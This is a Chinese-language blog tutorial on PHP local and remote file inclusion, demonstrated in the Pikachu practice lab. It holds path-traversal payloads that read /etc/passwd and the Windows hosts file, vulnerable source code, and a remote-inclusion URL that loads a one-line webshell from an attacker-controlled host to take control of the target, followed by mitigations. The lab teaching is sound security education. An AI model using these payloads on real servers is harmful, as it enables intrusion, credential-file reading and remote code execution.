一、文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来更简洁,会使用“包含”函数功能。比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)
这种情况我们称为“文件包含漏洞”
注:文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”
知识补充
文件包含漏洞:包含函数
通过include()或require()语句,可以将php文件的内容插入另一个php文件(在服务器执行它之前)
include和require语句是相同的,除了错误处理方面:
require会生成致命错误(E_COMPILE_ERROR)并停止脚本
include只生成警告(E_WARNING),并且脚本会继续
test.php:
<?php $color='银色的';$car='奔驰轿车';?>
Index.html:
<hrml><body><h1>欢迎访问我的首页!</h1>
<?php include 'test.php';echo "我有一辆".$color.$car"。";
?>
</body></html>
二、本地文件包含漏洞测试
第一步:在pikachu的本地文件包含中进行测试,在下拉框中选择一个名字进行提交
可以看到传了一个文件名为file1.php到后台,后台会对指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)
第二步:修改filename的参数,用 “…/” 的方式进行目录跳转
若目标服务器在 Linux 上,我们可以 “…/” 的方式进行目录跳转,读取其目录下的文件,比如 /etc/passwd,etc/fstab
../../../../../../../../etc/passwd
若目标服务器在 Windows上,同linux类似,假如读取hosts文件
../../../../Windows/System32/drivers/etc/hosts
进行跳转读取,成功读取hosts文件的内容
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
第三步:查看源码:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
三、远程文件包含漏洞测试
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码
远程包含漏洞前提:如果使用的include和require,则需要php.ini配置如下:
allow_url_fopen = on //默认打开
allow_url_include = on //默认关闭,需要修改为on
第一步:打开远程文件包含漏洞,会出现如下警告,根据要求进行修改
打开phpstudy—>打开配置文件---->php.ini
将allow_url_fopen = On(默认on,不用修改),allow_url_include = Off ,修改为On,然后保存
第二步:远程文件包含漏洞—写入一句话木马
攻击者搭建一个站点,在其中写入木马文件。然后把路径通过前端传到后台,后台的包含函数会对这个远程的路径进行加载,然后这个一句话木马就被传到了目标站点,实现了对目标站点的远程控制
我们这里攻击者站点:192.168.159.159
目标站点:127.0.0.1(即本地)
把 filename 后面的参数改成远程文件的地址,提交之后发现前端什么也没输出,但是在本地上传了一个yijuhua.php的文件
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.159.159:8080/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
然后攻击者可以通过x接口控制服务器
四、文件包含漏洞之文件上传漏洞的利用
思路:
1.制作一个图片木马,通过文件上传漏洞上传
2.通过文件包含漏洞对该图片木马进行“包含”
3.获取执行结果
见我下一篇博客:https://blog.csdn.net/weixin_51446936/article/details/117718841
五、防范措施
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
1.过滤各种…/…/, http:// , https://
2.配置php.ini配置文件:
allow_url_fopen = off
allow_url_include = off
magic_quotes_gpc=on